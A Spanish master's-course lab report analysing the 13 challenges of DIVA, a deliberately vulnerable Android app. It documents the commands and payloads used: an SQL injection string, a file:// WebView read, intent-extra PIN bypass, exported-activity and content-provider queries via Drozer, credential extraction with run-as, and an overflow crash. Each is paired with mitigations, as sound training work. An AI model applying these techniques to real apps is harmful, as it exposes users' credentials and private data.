

MÁSTER EN ANÁLISIS DE MALWARE Y REVERSING

Tarea 2 - Módulo 8

Análisis de los retos de DIVA

Versión corregida

María Sonia Salido Fernández

Documento revisado: se corrigen redacción, nomenclatura, coherencia técnica, comandos y conclusiones de los 13 retos.

Correcciones principales aplicadas

- Se corrige la numeración y el título del Reto 8: debe ser Input Validation Issues - Part 2, no Part 1.
- Se unifican los nombres de actividades, bases de datos, tablas, providers y rutas.
- Se corrige la explicación del Reto 9: la vulnerabilidad no es únicamente que la pantalla muestre credenciales, sino que la Activity sensible está exportada y puede abrirse desde fuera.
- Se aclara el Reto 4: aunque el hook de Objection no funcionó, la evidencia válida es la consulta a la base SQLite ids2 con run-as.
- Se corrige el Reto 5: uinfo es el prefijo y tmp es el sufijo del archivo temporal.
- Se corrige el Reto 7: el carácter usado para probar SQLi es la comilla simple y el payload debe mantenerse tal como se ejecutó.
- Se aclara el Reto 12: la clave hardcodeda de la librería nativa es olsdfgad;lh. La cadena .dotdot pertenece al flujo nativo del Reto 13.
- Se refuerza el Reto 13 con la evidencia de SIGSEGV y fault addr 0x41414141, que indica corrupción de memoria provocada por caracteres A.

1. Entendiendo qué pide el ejercicio

La práctica consiste en analizar la aplicación Android vulnerable DIVA (Damn Insecure and Vulnerable App) siguiendo la guía "How to crack the challenges of DIVA". El objetivo es identificar y explotar vulnerabilidades habituales en aplicaciones móviles Android, documentando evidencias, impacto y mitigación para cada reto.

La aplicación contiene 13 retos relacionados con logging inseguro, secretos hardcodeados, almacenamiento inseguro, inyección SQL, WebView inseguro, componentes exportados, Content Providers expuestos y validación insuficiente de entrada.

2. Herramientas utilizadas

- ADB: instalación de la APK, acceso al dispositivo, consulta de logs, uso de run-as y extracción de archivos.
- Objection/Frida: exploración dinámica de clases, actividades y métodos; hooks en tiempo de ejecución.
- Drozer: enumeración de superficie de ataque, actividades exportadas y Content Providers.
- MobSF/JADX: análisis estático de clases Java y recursos.
- sqlite3: consulta de bases de datos SQLite locales.
- strings: extracción de cadenas de librerías nativas .so.
- Genymotion: entorno de emulación Android utilizado durante la práctica.

3. Desarrollo de los retos

3.1 Reto 1 - Insecure Logging

El primer reto demuestra que DIVA escribe información sensible en los logs de Android. En la pantalla Insecure Logging se introduce un número de prueba y se revisa la salida de logcat.

```
adb logcat | grep -i diva
```

La evidencia muestra que el valor introducido por el usuario aparece en una línea de log asociada a la etiqueta diva-log. Esto indica que la aplicación registra información sensible mediante android.util.Log.e().

Vulnerabilidad	Exposición de información sensible mediante logs.
Impacto	Otra aplicación, un atacante con acceso al dispositivo o un analista forense podrían recuperar datos sensibles desde logcat.
Mitigación	No registrar contraseñas, tarjetas, tokens, PIN, claves privadas ni datos personales. En producción se deben eliminar logs de depuración y revisar el contenido registrado.

3.2 Reto 2 - Hardcoding Issues

En este reto se identifica una clave hardcodeada en la clase jakhar.aseem.diva.HardcodeActivity. El método relevante es access(android.view.View), que obtiene el texto introducido por el usuario y lo compara con una cadena fija.

```
android hooking list activities
android intent launch_activity jakhar.aseem.diva.HardcodeActivity
android hooking list class_methods jakhar.aseem.diva.HardcodeActivity
```

Objection permite localizar la Activity del reto y confirmar los métodos disponibles: onCreate(android.os.Bundle) y access(android.view.View).

```
android hooking watch java.lang.String!equals --dump-args --dump-backtrace --dump-return
```

Al introducir un valor cualquiera en la aplicación y pulsar Access, el hook sobre String.equals intercepta la comparación y muestra como argumento la cadena vendorsecretkey. La traza incluye jakhar.aseem.diva.HardcodeActivity.access, lo que confirma que la comparación se realiza en el método del reto.

Clave válida: vendorsecretkey

Vulnerabilidad	Secreto hardcodeado en código Java.
Impacto	Cualquier persona que analice estática o dinámicamente la APK puede recuperar la clave y superar la validación.
Mitigación	No almacenar secretos en el código fuente ni en el binario. Las claves deben gestionarse en servidor o mediante mecanismos de gestión de secretos adecuados.

3.3 Reto 3 - Insecure Data Storage: Shared Preferences

DIVA almacena credenciales en Shared Preferences, dentro del directorio privado de la aplicación. Aunque Drozer permite identificar el paquete y su superficie de ataque, la verificación final se realiza leyendo el archivo XML con run-as.

```
adb forward tcp:31415 tcp:31415
drozer console connect
run app.package.list -f diva
run app.package.info -a jakhar.aseem.diva
run app.package.attacksurface jakhar.aseem.diva
```

La Activity del reto, InsecureDataStorage1Activity, no aparece como exportada porque no es accesible directamente desde otras aplicaciones. Se accede desde la interfaz de DIVA o se lanza si el entorno lo permite.

```
adb shell run-as jakhar.aseem.diva cat shared_prefs/jakhar.aseem.diva_preferences.xml
```

El archivo XML contiene valores como user y password en texto plano, por ejemplo alumno y password123.

Vulnerabilidad	Credenciales almacenadas en texto plano mediante Shared Preferences.
Impacto	Un atacante con acceso al contexto de la app, dispositivo rooteado o copia forense puede leer el XML y recuperar credenciales.
Mitigación	Usar Android Keystore, EncryptedSharedPreferences y evitar almacenar contraseñas reutilizables en el dispositivo.

3.4 Reto 4 - Insecure Data Storage: SQLite

La aplicación guarda credenciales en una base de datos SQLite local llamada ids2, en una tabla llamada myuser. Aunque se intentó hookear saveCredentials(android.view.View) con Objection, el hook no generó salida; por tanto, la evidencia principal se obtuvo consultando directamente la base de datos con ADB y run-as.

```
adb shell run-as jakhar.aseem.diva ls -la databases
adb shell 'run-as jakhar.aseem.diva sqlite3 databases/ids2 ".tables"'
adb shell 'run-as jakhar.aseem.diva sqlite3 databases/ids2 "SELECT * FROM myuser;"'
```

La consulta devolvió registros como:

```
alumno|password123
```

```
alumno4|pass4
```

Esto demuestra que los usuarios y contraseñas introducidos en la pantalla del Reto 4 se almacenan directamente en SQLite sin cifrado.

Vulnerabilidad	Almacenamiento inseguro de credenciales en base de datos SQLite.
Impacto	Credenciales recuperables mediante acceso local, debugging, dispositivo rooteado o extracción de la base de datos.
Mitigación	No guardar contraseñas en texto plano. Usar cifrado, Android Keystore, bases SQLite cifradas y tokens de corta vida cuando sea posible.

3.5 Reto 5 - Insecure Data Storage: archivo temporal

En este reto DIVA crea un archivo temporal en su directorio privado. El nombre empieza por uinfo y termina en tmp; el valor intermedio varía en cada ejecución. El contenido se almacena con el formato usuario:contraseña.

```
adb shell run-as jakhar.aseem.diva ls -la
```

```
adb shell run-as jakhar.aseem.diva cat uinfo1044941255tmp
```

También se comprobó desde Objection:

```
cd /data/data/jakhar.aseem.diva
```

```
filesystem cat /data/user/0/jakhar.aseem.diva/uinfo1044941255tmp
```

El contenido observado fue:

```
alumno5:pass5
```

Vulnerabilidad	Credenciales almacenadas en texto plano dentro de un archivo temporal.
Impacto	Aunque el archivo está en el directorio privado de la app, puede recuperarse en un dispositivo rooteado, mediante debugging o análisis forense.
Mitigación	No almacenar credenciales en temporales. Cifrar datos sensibles y eliminar archivos temporales cuando dejen de ser necesarios.

3.6 Reto 6 - Insecure Data Storage: almacenamiento externo

DIVA guarda las credenciales en el almacenamiento externo, normalmente en /sdcard/.uinfo.txt. En la app se introdujeron las credenciales alumno6/pass6 y posteriormente se localizó el archivo.

```
adb shell ls -la /sdcard/ | grep uinfo
```

```
adb shell cat /sdcard/.uinfo.txt
```

El archivo muestra las credenciales en texto plano:

```
alumno6:pass6
```

Vulnerabilidad	Almacenamiento de credenciales en almacenamiento externo.
Impacto	El almacenamiento externo puede ser accesible por

	otras apps o por un usuario con acceso al dispositivo.
Mitigación	No guardar información sensible en /sdcard. Usar almacenamiento interno protegido y cifrado cuando sea estrictamente necesario.

3.7 Reto 7 - Input Validation Issues: SQL Injection

El objetivo es demostrar que la aplicación concatena la entrada del usuario en una consulta SQL sin parametrizarla. Primero se buscó un usuario normal como admin y después se probó con una comilla simple para observar comportamiento anómalo.

```
admin
'
' OR '1'='1
```

Con el payload SQLi, la condición de la consulta se vuelve siempre verdadera, por lo que la aplicación muestra múltiples registros de la tabla interna.

Consulta vulnerable conceptual:
SELECT * FROM sqliuser WHERE user = " OR '1'='1'

Vulnerabilidad	Inyección SQL por concatenación de entrada no confiable.
Impacto	Permite leer registros no autorizados e inferir o manipular datos dependiendo de la consulta vulnerable.
Mitigación	Usar consultas parametrizadas, placeholders ?, SQLiteDatabase.query() o.rawQuery() con selectionArgs. Validar y limitar la entrada del usuario.

3.8 Reto 8 - Input Validation Issues: esquema URI en WebView

Este reto aprovecha que la aplicación acepta una URL y la carga en un WebView sin restringir el esquema. En lugar de una URL http/https, se usa file:// para leer un archivo local creado en el Reto 6.

```
adb shell ls -la /sdcard/ | grep uinfo
adb shell cat /sdcard/.uinfo.txt
```

Payload introducido en la app:

```
file:///sdcard/.uinfo.txt
```

La aplicación muestra el contenido del archivo, por ejemplo alumno6:pass6.

Vulnerabilidad	Carga insegura de URIs locales mediante WebView.
Impacto	Permite leer archivos locales accesibles si la app no filtra esquemas peligrosos.
Mitigación	Permitir únicamente esquemas esperados como http:// y https://. Bloquear file://, content:// y javascript: cuando no sean necesarios.

3.9 Reto 9 - Access Control Issues: Activity exportada

La Activity jakhar.aseem.diva.APICredsActivity muestra credenciales del Vendor API. Aunque desde el menú de DIVA también puede abrirse, la vulnerabilidad consiste en que una Activity sensible está exportada y puede invocarse desde fuera de la aplicación sin autenticación ni permisos.

```
adb forward tcp:31415 tcp:31415
drozer console connect
run app.package.attacksurface jakhar.aseem.diva
run app.activity.info -a jakhar.aseem.diva
run app.activity.start --component jakhar.aseem.diva jakhar.aseem.diva.APICredsActivity
```

La Activity se abre directamente, sin pasar por ningún flujo interno de autorización.

Vulnerabilidad	Activity sensible exportada sin protección.
Impacto	Otra aplicación o herramienta externa podría lanzar la Activity y visualizar credenciales internas.
Mitigación	Marcar la Activity como android:exported="false" si no debe ser pública, protegerla con permisos y validar autorización dentro de la Activity.

3.10 Reto 10 - Access Control Issues: Intent extra manipulable

La Activity vulnerable es jakhar.aseem.diva.APICreds2Activity. Cuando se lanza sin extras, solicita un PIN. Sin embargo, si se envía el extra booleano check_pin con valor false, la app omite la comprobación y muestra las credenciales.

```
run app.activity.start --component jakhar.aseem.diva jakhar.aseem.diva.APICreds2Activity
run app.activity.start --component jakhar.aseem.diva jakhar.aseem.diva.APICreds2Activity --extra boolean check_pin false
```

Alternativa con ADB:

```
adb shell am start -S -n jakhar.aseem.diva/.APICreds2Activity --ez check_pin false
```

Vulnerabilidad	Control de acceso basado en un extra de Intent manipulable.
Impacto	Un atacante puede saltarse la verificación de PIN enviando check_pin=false.
Mitigación	No confiar en datos recibidos mediante Intent para decisiones de autorización. Validar internamente y usar controles no manipulables desde el exterior.

3.11 Reto 11 - Access Control Issues: Content Provider expuesto

DIVA expone un Content Provider de notas. Drozer muestra que no requiere permisos de lectura ni escritura, por lo que se puede consultar desde fuera de la app.

```
run app.provider.info -a jakhar.aseem.diva
run scanner.provider.finduris -a jakhar.aseem.diva
run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/
```

La URI vulnerable es:

```
content://jakhar.aseem.diva.provider.notesprovider/notes/
```

La consulta devuelve notas como Exercise, Expense, Weekend, holiday, home y office, demostrando lectura no autorizada de datos privados.

Vulnerabilidad	Content Provider accesible sin permisos adecuados.
Impacto	Otra aplicación podría consultar notas privadas sin conocer el PIN ni usar la interfaz legítima.
Mitigación	Configurar permisos de lectura/escritura, evitar exportar providers innecesarios y validar autorización antes de devolver datos.

3.12 Reto 12 - Hardcoding Issues: librería nativa

El reto 12 es similar al Reto 2, pero la clave está en una librería nativa .so cargada mediante JNI. La clase DivaJni carga libdivajni.so con System.loadLibrary("divajni"), y Hardcode2Activity llama al método nativo access(String).

```
adb shell pm path jakhar.aseem.diva
adb pull /data/app/jakhar.aseem.diva-1/base.apk diva.apk
mkdir diva_apk
unzip diva.apk -d diva_apk
find diva_apk -name "libdivajni.so"
strings diva_apk/lib/x86/libdivajni.so
```

Entre las cadenas extraídas aparece:

```
olsdfgad;lh
```

Esa cadena es la clave hardcodeada del Reto 12. Al introducirla en la app, el acceso es concedido.

Vulnerabilidad	Secreto hardcodeado en librería nativa.
Impacto	Mover secretos a código nativo no los protege; pueden recuperarse con strings, Ghidra, Radare2, IDA u otras técnicas.
Mitigación	No almacenar secretos en código Java ni nativo. Gestionarlos en servidor o mediante mecanismos seguros de autenticación.

3.13 Reto 13 - Input Validation Issues: buffer overflow

Este reto consiste en provocar un crash mediante una entrada no validada. La guía propone comenzar con 30 caracteres A, aunque en este entorno fue necesaria una cadena más larga para alcanzar el fallo.

```
adb logcat -c
adb logcat | grep -iE "fatal|exception|diva|crash|signal|segv"
```

Payload utilizado:

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA
```

La evidencia de logcat muestra:

```
Fatal signal 11 (SIGSEGV)
```


fault addr 0x41414141

Force finishing activity jakhar.aseem.diva/.InputValidation3Activity

SIGSEGV indica un acceso inválido a memoria. Además, 0x41414141 equivale a AAAA en hexadecimal, por lo que la entrada controlada por el usuario llegó a corromper memoria.

Vulnerabilidad	Validación insuficiente de entrada que provoca buffer overflow en código nativo.
Impacto	La aplicación se cierra de forma inesperada, generando denegación de servicio local y evidencia de corrupción de memoria.
Mitigación	Validar longitud, tipo y formato del input. Evitar funciones inseguras como strcpy y usar alternativas con límite de tamaño como strncpy o snprintf.

4. Conclusión general

El análisis de DIVA permite observar vulnerabilidades frecuentes en aplicaciones Android: logging inseguro, secretos hardcoded, almacenamiento inseguro en Shared Preferences, SQLite, archivos temporales y almacenamiento externo, inyección SQL, carga insegura de archivos locales, componentes Android exportados, Content Providers sin protección y validación insuficiente de entrada.

La práctica demuestra que la seguridad móvil debe aplicarse en varias capas: diseño de arquitectura, control de acceso, validación de entrada, protección del almacenamiento local, gestión segura de secretos y reducción de superficie de ataque en componentes Android.

- No registrar información sensible en logs.
- No hardcodear claves, tokens ni contraseñas.
- Cifrar datos sensibles y evitar almacenar credenciales reutilizables.
- Usar consultas SQL parametrizadas.
- Validar estrictamente entradas, URLs y esquemas permitidos.
- No exportar Activities, Services, Receivers o Providers salvo que sea necesario.
- Proteger Content Providers con permisos y validación interna.
- No confiar en extras de Intent para decisiones de autorización.
- Revisar también el código nativo, ya que puede contener secretos y vulnerabilidades de memoria.